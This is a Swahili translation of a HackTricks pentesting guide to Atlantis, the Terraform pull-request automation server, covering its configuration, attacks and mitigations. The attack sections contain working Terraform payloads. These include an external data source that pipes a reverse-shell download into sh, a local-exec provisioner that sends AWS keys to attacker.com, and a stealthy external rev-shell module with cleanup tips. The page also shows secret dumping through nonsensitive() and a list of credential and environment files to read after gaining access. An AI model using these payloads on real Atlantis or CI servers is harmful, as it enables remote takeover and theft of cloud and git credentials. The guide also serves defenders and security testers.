Atlantis Security

Reading time: 16 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Atlantis kimsingi inakusaidia kuendesha terraform kutoka kwa Pull Requests kutoka kwa seva yako ya git.

Local Lab

  1. Nenda kwenye ukurasa wa toleo la atlantis katika https://github.com/runatlantis/atlantis/releases na pakua ile inayokufaa.
  2. Unda token ya kibinafsi (ikiwa na ufikiaji wa repo) wa mtumiaji wako wa github
  3. Tekeleza ./atlantis testdrive na itaunda demo repo ambayo unaweza kutumia ku zungumza na atlantis
  4. Unaweza kufikia ukurasa wa wavuti katika 127.0.0.1:4141

Atlantis Access

Git Server Credentials

Atlantis inasaidia wenyeji kadhaa wa git kama Github, Gitlab, Bitbucket na Azure DevOps.
Hata hivyo, ili kufikia repos katika majukwaa hayo na kufanya vitendo, inahitaji kuwa na ufikiaji wa kibali uliopewa (angalau ruhusa za kuandika).
The docs inahimiza kuunda mtumiaji katika majukwaa haya mahsusi kwa Atlantis, lakini watu wengine wanaweza kutumia akaunti za kibinafsi.

warning

Katika hali yoyote, kutoka kwa mtazamo wa washambuliaji, akaunti ya Atlantis itakuwa moja ya ya kuvutia kuvunjwa.

Webhooks

Atlantis inatumia kwa hiari Webhook secrets kuthibitisha kwamba webhooks inazopokea kutoka kwa mwenyeji wako wa Git ni halali.

Njia moja ya kuthibitisha hii ingekuwa kuruhusu maombi kuja tu kutoka kwa IPs za mwenyeji wako wa Git lakini njia rahisi ni kutumia Webhook Secret.

Kumbuka kwamba isipokuwa unatumia seva ya kibinafsi ya github au bitbucket, itabidi ufichue mwisho wa webhook kwa Mtandao.

warning

Atlantis itakuwa ikifichua webhooks ili seva ya git iweze kutuma habari. Kutoka kwa mtazamo wa washambuliaji itakuwa ya kuvutia kujua kama unaweza kutuma ujumbe.

Provider Credentials

From the docs:

Atlantis inafanya Terraform kwa kutekeleza tu amri za terraform plan na apply kwenye seva ambayo Atlantis inahifadhiwa. Kama unavyofanya Terraform kwa ndani, Atlantis inahitaji akreditif za mtoa huduma wako maalum.

Ni juu yako jinsi unavyoweza kutoa akreditif kwa mtoa huduma wako maalum kwa Atlantis:

  • Atlantis Helm Chart na AWS Fargate Module zina mifumo yao wenyewe ya akreditif za mtoa huduma. Soma nyaraka zao.
  • Ikiwa unafanya kazi na Atlantis katika wingu basi mawingu mengi yana njia za kutoa ufikiaji wa API ya wingu kwa programu zinazofanya kazi ndani yao, mfano:
  • AWS EC2 Roles (Tafuta "EC2 Role")
  • GCE Instance Service Accounts
  • Watumiaji wengi huweka mabadiliko ya mazingira, mfano AWS_ACCESS_KEY, ambapo Atlantis inafanya kazi.
  • Wengine huunda faili za usanidi zinazohitajika, mfano ~/.aws/credentials, ambapo Atlantis inafanya kazi.
  • Tumia HashiCorp Vault Provider kupata akreditif za mtoa huduma.

warning

Container ambapo Atlantis inafanya kazi itakuwa na uwezekano mkubwa kuhifadhi akreditif za kibali kwa waendeshaji (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform.

Web Page

Kwa kawaida Atlantis itafanya kazi ukurasa wa wavuti katika bandari 4141 kwenye localhost. Ukurasa huu unaruhusu tu kuwezesha/kuzima atlantis apply na kuangalia hali ya mpango wa repos na kuzifungua (hauruhusu kubadilisha mambo, hivyo si ya manufaa sana).

Huenda usiione ikifichuliwa kwa mtandao, lakini inaonekana kwa kawaida hakuna akreditif zinazohitajika kuifikia (na ikiwa zipo atlantis:atlantis ndio za kawaida).

Server Configuration

Usanidi wa atlantis server unaweza kuainishwa kupitia bendera za mistari ya amri, mabadiliko ya mazingira, faili ya usanidi au mchanganyiko wa tatu.

Thamani zinachaguliwa katika mpangilio huu:

  1. Bendera
  2. Mabadiliko ya Mazingira
  3. Faili ya Usanidi

warning

Kumbuka kwamba katika usanidi unaweza kupata thamani za kuvutia kama tokens na nywila.

Repos Configuration

Mifumo fulani ya usanidi inaathiri jinsi repos zinavyosimamiwa. Hata hivyo, inawezekana kwamba kila repo inahitaji mipangilio tofauti, hivyo kuna njia za kuainisha kila repo. Hii ndiyo mpangilio wa kipaumbele:

  1. Repo /atlantis.yml faili. Faili hii inaweza kutumika kuainisha jinsi atlantis inavyopaswa kutenda repo. Hata hivyo, kwa kawaida funguo fulani haziwezi kuainishwa hapa bila bendera fulani zinazoruhusu.
  2. Huenda ikahitajika kuruhusiwa na bendera kama allowed_overrides au allow_custom_workflows
  3. Server Side Config: Unaweza kuipitia kwa bendera --repo-config na ni yaml inayopanga mipangilio mipya kwa kila repo (regexes zinasaidiwa)
  4. Thamani za Kawaida

PR Protections

Atlantis inaruhusu kuashiria ikiwa unataka PR ku idhinishwa na mtu mwingine (hata kama hiyo haijakubaliwa katika ulinzi wa tawi) na/au kuwa inaweza kuunganishwa (ulinzi wa tawi umepita) kabla ya kuendesha apply. Kutoka kwa mtazamo wa usalama, kuweka chaguo zote mbili ni mapendekezo.

Katika kesi allowed_overrides ni Kweli, mipangilio hii inaweza kufutwa kwenye kila mradi na faili ya /atlantis.yml.

Scripts

Usanidi wa repo unaweza kuainisha scripts za kuendesha kabla (pre workflow hooks) na baada (post workflow hooks) workflow inatekelezwa.

Hakuna chaguo lolote la kuruhusu kuainisha scripts hizi katika repo /atlantis.yml faili.

Workflow

Katika usanidi wa repo (usanidi wa upande wa seva) unaweza kuainisha workflow mpya ya kawaida, au kuunda workflows mpya za kawaida. Unaweza pia kuainisha ni repos zipi zinaweza kufikia zile mpya zilizoundwa.
Kisha, unaweza kuruhusu faili ya atlantis.yaml ya kila repo ku ainisha workflow ya kutumia.

caution

Ikiwa bendera server side config allow_custom_workflows imewekwa kuwa Kweli, workflows zinaweza kuainishwa katika faili ya atlantis.yaml ya kila repo. Pia inaweza kuwa muhimu kwamba allowed_overrides pia inasisitiza workflow ili kufuta workflow ambayo itatumika.
Hii itatoa RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Conftest Policy Checking

Atlantis inasaidia kuendesha server-side conftest sera dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na:

  • Kukataa matumizi ya orodha ya moduli
  • Kuashiria sifa za rasilimali wakati wa kuunda
  • Kukamata kufutwa kwa rasilimali zisizokusudiwa
  • Kuzuia hatari za usalama (yaani, kufichua bandari salama kwa umma)

Unaweza kuangalia jinsi ya kuipanga katika the docs.

Atlantis Commands

In the docs unaweza kupata chaguzi unazoweza kutumia kuendesha Atlantis:

bash
# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Mashambulizi

warning

Ikiwa wakati wa unyakuzi unakutana na kosa hili: Error: Error acquiring the state lock

Unaweza kulitatua kwa kukimbia:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Mabadiliko ya usanidi katika PR mpya

Ikiwa una ufikiaji wa kuandika juu ya hifadhi, utaweza kuunda tawi jipya ndani yake na kuzalisha PR. Ikiwa unaweza kutekeleza atlantis plan (au labda inatekelezwa kiotomatiki) utaweza kufanya RCE ndani ya seva ya Atlantis.

Unaweza kufanya hivi kwa kufanya Atlantis ipokee chanzo cha data cha nje. Weka tu payload kama ifuatavyo katika faili ya main.tf:

json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Shambulio la Siri

Unaweza kufanya shambulio hili hata kwa njia ya siri zaidi, kwa kufuata mapendekezo haya:

  • Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza kupakia rasilimali ya nje ambayo ina rev shell:
javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Unaweza kupata msimbo wa rev shell katika https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Katika rasilimali ya nje, tumia kipengele cha ref kuficha msimbo wa terraform rev shell katika tawi ndani ya repo, kitu kama: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
  • Badala ya kuunda PR kwa master ili kuanzisha Atlantis, unda matawi 2 (test1 na test2) na uunde PR kutoka moja hadi nyingine. Unapokamilisha shambulio, tu ondoa PR na matawi.

Atlantis plan Secrets Dump

Unaweza dump secrets zinazotumiwa na terraform ukikimbia atlantis plan (terraform plan) kwa kuweka kitu kama hiki katika faili ya terraform:

json
output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Mabadiliko ya usanidi katika PR mpya

Ikiwa una ufikiaji wa kuandika kwenye hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza kutekeleza atlantis apply utaweza RCE ndani ya seva ya Atlantis.

Hata hivyo, kwa kawaida utahitaji kupita baadhi ya ulinzi:

  • Inayoweza kuunganishwa: Ikiwa ulinzi huu umewekwa katika Atlantis, unaweza tu kuendesha atlantis apply ikiwa PR inaweza kuunganishwa (hii inamaanisha kuwa ulinzi wa tawi unahitaji kupitishwa).
  • Angalia kupita kwa ulinzi wa tawi
  • Imeidhinishwa: Ikiwa ulinzi huu umewekwa katika Atlantis, mtumiaji mwingine lazima aidhinishe PR kabla hujaweza kuendesha atlantis apply
  • Kwa kawaida unaweza kutumia token ya Gitbot kupita ulinzi huu

Kuendesha terraform apply kwenye faili mbaya ya Terraform yenye local-exec.
Unahitaji tu kuhakikisha kuwa payload kama hizi zinaishia kwenye faili main.tf:

json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Fuata mapendekezo kutoka kwa mbinu ya awali ili ufanye shambulio hili kwa njia ya siri.

Terraform Param Injection

Wakati wa kuendesha atlantis plan au atlantis apply, terraform inatekelezwa chini, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kuandika maoni kama:

bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Unaweza kupitisha mabadiliko ya mazingira ambayo yanaweza kusaidia kupita baadhi ya ulinzi. Angalia terraform env vars katika https://www.terraform.io/cli/config/environment-variables

Mchakato wa Kijadi

Kukimbia amri za kujenga za uhalifu zilizobainishwa katika faili ya atlantis.yaml. Atlantis inatumia faili ya atlantis.yaml kutoka tawi la ombi la kuvuta, sio la master.
Uwezekano huu ulitajwa katika sehemu ya awali:

caution

Ikiwa bendera ya server side config allow_custom_workflows imewekwa kuwa True, michakato inaweza kubainishwa katika faili ya atlantis.yaml ya kila repo. Pia inaweza kuwa muhimu kwamba allowed_overrides inabainisha pia workflow ili kuzuia mchakato ambao utatumika.

Hii itatoa RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo.

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Kupita mipango/maombi ya ulinzi

Ikiwa bendera ya server side config allowed_overrides ina apply_requirements iliyowekwa, inawezekana kwa repo kubadilisha mipango/maombi ya ulinzi ili kupita.

yaml
repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Ikiwa mtu atatuma atlantis plan/apply maoni kwenye ombi zako halali za kuvuta, itasababisha terraform kuendesha wakati hutaki.

Zaidi ya hayo, ikiwa huna mipangilio katika branch protection ya kuomba kuangalia upya kila PR wakati commit mpya inasukumwa kwake, mtu anaweza kuandika mipangilio ya uharibifu (angalia hali za awali) katika mipangilio ya terraform, kuendesha atlantis plan/apply na kupata RCE.

Hii ni mipangilio katika ulinzi wa branch wa Github:

Webhook Secret

Ikiwa umeweza kuiiba webhook secret inayotumika au ikiwa hakuna webhook secret inayotumika, unaweza kuita webhook ya Atlantis na kuitisha amri za atlantis moja kwa moja.

Bitbucket

Bitbucket Cloud haikubali webhook secrets. Hii inaweza kuruhusu washambuliaji kuiga maombi kutoka Bitbucket. Hakikisha unaruhusu tu IP za Bitbucket.

  • Hii inamaanisha kwamba mshambuliaji anaweza kufanya maombi ya uongo kwa Atlantis ambayo yanaonekana kana kwamba yanatoka Bitbucket.
  • Ikiwa unataja --repo-allowlist basi wanaweza tu kuiga maombi yanayohusiana na hizo repos hivyo uharibifu mkubwa wanaweza kufanya ni kupanga/kuomba kwenye repos zako.
  • Ili kuzuia hili, ruhusu anwani za IP za Bitbucket (angalia anwani za IPv4 za nje).

Post-Exploitation

Ikiwa umeweza kupata ufikiaji wa seva au angalau umepata LFI kuna mambo ya kuvutia unapaswa kujaribu kusoma:

  • /home/atlantis/.git-credentials Inayo nywila za ufikiaji wa vcs
  • /atlantis-data/atlantis.db Inayo nywila za ufikiaji wa vcs na maelezo zaidi
  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Faili ya hali ya terraform
  • Mfano: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
  • /proc/1/environ Mabadiliko ya mazingira
  • /proc/[2-20]/cmdline Cmd line ya atlantis server (inaweza kuwa na data nyeti)

Mitigations

Usitumie Kwenye Repos za Umma

Kwa sababu mtu yeyote anaweza kutoa maoni kwenye ombi za kuvuta za umma, hata na mipango yote ya usalama iliyopo, bado ni hatari kuendesha Atlantis kwenye repos za umma bila mipangilio sahihi ya mipangilio ya usalama.

Usitumie --allow-fork-prs

Ikiwa unafanya kazi kwenye repo ya umma (ambayo haitashauriwa, angalia hapo juu) huwezi kuweka --allow-fork-prs (inachukuliwa kuwa si kweli) kwa sababu mtu yeyote anaweza kufungua ombi la kuvuta kutoka kwa fork yao hadi repo yako.

--repo-allowlist

Atlantis inahitaji uweze kutaja orodha ya ruhusa ya repos itakazokubali webhooks kupitia bendera ya --repo-allowlist. Kwa mfano:

  • Repos maalum: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
  • Shirika lako lote: --repo-allowlist=github.com/runatlantis/*
  • Kila repo katika usakinishaji wako wa GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
  • Repos zote: --repo-allowlist=*. Inatumika wakati uko katika mtandao uliohifadhiwa lakini ni hatari bila pia kuweka webhook secret.

Bendera hii inahakikisha usakinishaji wako wa Atlantis haujatumika na repos usizodhibiti. Angalia atlantis server --help kwa maelezo zaidi.

Linda Mipango ya Terraform

Ikiwa washambuliaji wanaowasilisha maombi ya kuvuta na msimbo wa uharibifu wa Terraform uko katika mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za terraform apply hazitoshi. Inawezekana kuendesha msimbo wa uharibifu katika terraform plan kwa kutumia external data source au kwa kutaja mtoa huduma wa uharibifu. Msimbo huu unaweza kisha kuhamasisha nywila zako.

Ili kuzuia hili, unaweza:

  1. Kuunda mtoa huduma ndani ya picha ya Atlantis au mwenyeji na kukataa egress katika uzalishaji.
  2. Tekeleza itifaki ya rejista ya mtoa huduma ndani na kukataa egress ya umma, kwa njia hiyo unadhibiti nani ana ufikiaji wa kuandika kwenye rejista.
  3. Badilisha mipangilio ya repo upande wa seva's hatua ya plan ili kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyokatazwa au PRs kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada katika hatua hii, e.g. kuhitaji "thumbs-up" kwenye PR kabla ya kuruhusu plan kuendelea. Conftest inaweza kuwa ya msaada hapa.

Webhook Secrets

Atlantis inapaswa kuendeshwa na Webhook secrets zilizowekwa kupitia mazingira ya $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Hata na bendera ya --repo-allowlist iliyowekwa, bila webhook secret, washambuliaji wanaweza kufanya maombi kwa Atlantis wakijifanya kuwa repo iliyo kwenye orodha ya ruhusa. Webhook secrets zinahakikisha kwamba maombi ya webhook yanatoka kwa mtoa huduma wako wa VCS (GitHub au GitLab).

Ikiwa unatumia Azure DevOps, badala ya webhook secrets ongeza jina la mtumiaji wa msingi na nywila.

Azure DevOps Basic Authentication

Azure DevOps inasaidia kutuma kichwa cha uthibitisho wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook.

SSL/HTTPS

Ikiwa unatumia webhook secrets lakini trafiki yako iko juu ya HTTP basi webhook secrets zinaweza kuibiwa. Wezesha SSL/HTTPS kwa kutumia bendera za --ssl-cert-file na --ssl-key-file.

Wezesha Uthibitisho kwenye Seva ya Mtandao ya Atlantis

Inashauriwa sana kuwezesha uthibitisho katika huduma ya wavuti. Wezesha BasicAuth kwa kutumia --web-basic-auth=true na weka jina la mtumiaji na nywila kwa kutumia bendera za --web-username=yourUsername na --web-password=yourPassword.

Unaweza pia kupitisha hizi kama mazingira ya ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername na ATLANTIS_WEB_PASSWORD=yourPassword.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks